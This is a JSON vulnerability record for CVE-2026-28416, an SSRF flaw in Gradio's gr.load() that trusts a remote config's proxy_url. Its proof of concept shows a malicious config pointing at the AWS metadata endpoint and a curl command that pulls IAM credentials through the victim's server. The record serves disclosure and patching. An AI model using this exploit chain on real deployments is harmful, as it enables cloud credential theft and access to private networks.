{"id":"CVE-2026-28416","aliases":["GHSA-jmh7-g254-2cq9","PYSEC-2026-66"],"url":"https://o3.security/vulnerability/CVE-2026-28416","summary":"Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing","details":"### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses `gr.load()` to load an attacker-controlled Space, the malicious `proxy_url` from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.\n\n### Details\n\nThe vulnerability exists in Gradio's config processing flow when loading external Spaces:\n\n1. **Config Fetching** (`gradio/external.py:630`): `gr.load()` calls `Blocks.from_config()` which fetches and processes the remote Space's configuration.\n\n2. **Proxy URL Trust** (`gradio/blocks.py:1231-1233`): The `proxy_url` from the untrusted config is added directly to `self.proxy_urls`:\n   ```python\n   if config.get(\"proxy_url\"):\n       self.proxy_urls.add(config[\"proxy_url\"])\n   ```\n\n3. **Built-in Proxy Route** (`gradio/routes.py:1029-1031`): Every Gradio app automatically exposes a `/proxy={url_path}` endpoint:\n   ```python\n   @router.get(\"/proxy={url_path:path}\", dependencies=[Depends(login_check)])\n   async def reverse_proxy(url_path: str):\n   ```\n\n4. **Host-based Validation** (`gradio/routes.py:365-368`): The validation only checks if the URL's host matches any trusted `proxy_url` host:\n   ```python\n   is_safe_url = any(\n       url.host == httpx.URL(root).host for root in self.blocks.proxy_urls\n   )\n   ```\n\nAn attacker can set `proxy_url` to `http://169.254.169.254/` (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.\n\n### PoC\n\nFull PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6\n\n**1. Attacker creates a malicious Gradio Space** that returns this config:\n```python\n{\n    \"mode\": \"blocks\",\n    \"components\": [...],\n    \"proxy_url\": \"http://169.254.169.254/\"  # AWS metadata endpoint\n}\n```\n\n**2. Victim loads the malicious Space:**\n```python\nimport gradio as gr\ndemo = gr.load(\"attacker/malicious-space\")\ndemo.launch(server_name=\"0.0.0.0\", server_port=7860)\n```\n\n**3. Attacker exploits the proxy:**\n```bash\n# Fetch AWS credentials through victim's server\ncurl \"http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name\"\n```\n\n### Impact\n\n**Who is impacted:**\n- Any Gradio application that uses `gr.load()` to load external/untrusted Spaces\n- HuggingFace Spaces that compose or embed other Spaces\n- Enterprise deployments where Gradio apps have access to internal networks\n\n**Attack scenarios:**\n- **Cloud credential theft**: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials\n- **Internal service access**: Reach databases, admin panels, and APIs on private networks\n- **Network reconnaissance**: Map internal infrastructure through the victim\n- **Data exfiltration**: Access sensitive internal APIs and services","published":"2026-02-27T21:47:04.975Z","modified":"2026-11-09T10:45:38.476098772Z","cvss":{"score":8.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"gradio","fixedVersion":"6.6.0"}],"fix":{"url":"https://github.com/gradio-app/gradio/commit/fc7c01ea1e581ef70be98fddf003b0c91315c7cc","label":"gradio-app/gradio@fc7c01e"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/28xxx/CVE-2026-28416.json"},{"type":"ADVISORY","url":"https://github.com/gradio-app/gradio/security/advisories/GHSA-jmh7-g254-2cq9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28416"},{"type":"WEB","url":"https://github.com/gradio-app/gradio/commit/fc7c01ea1e581ef70be98fddf003b0c91315c7cc"},{"type":"PACKAGE","url":"https://github.com/gradio-app/gradio"},{"type":"WEB","url":"https://github.com/gradio-app/gradio/releases/tag/gradio%406.6.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2026-66.yaml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-09T10:45:38.476098772Z"}}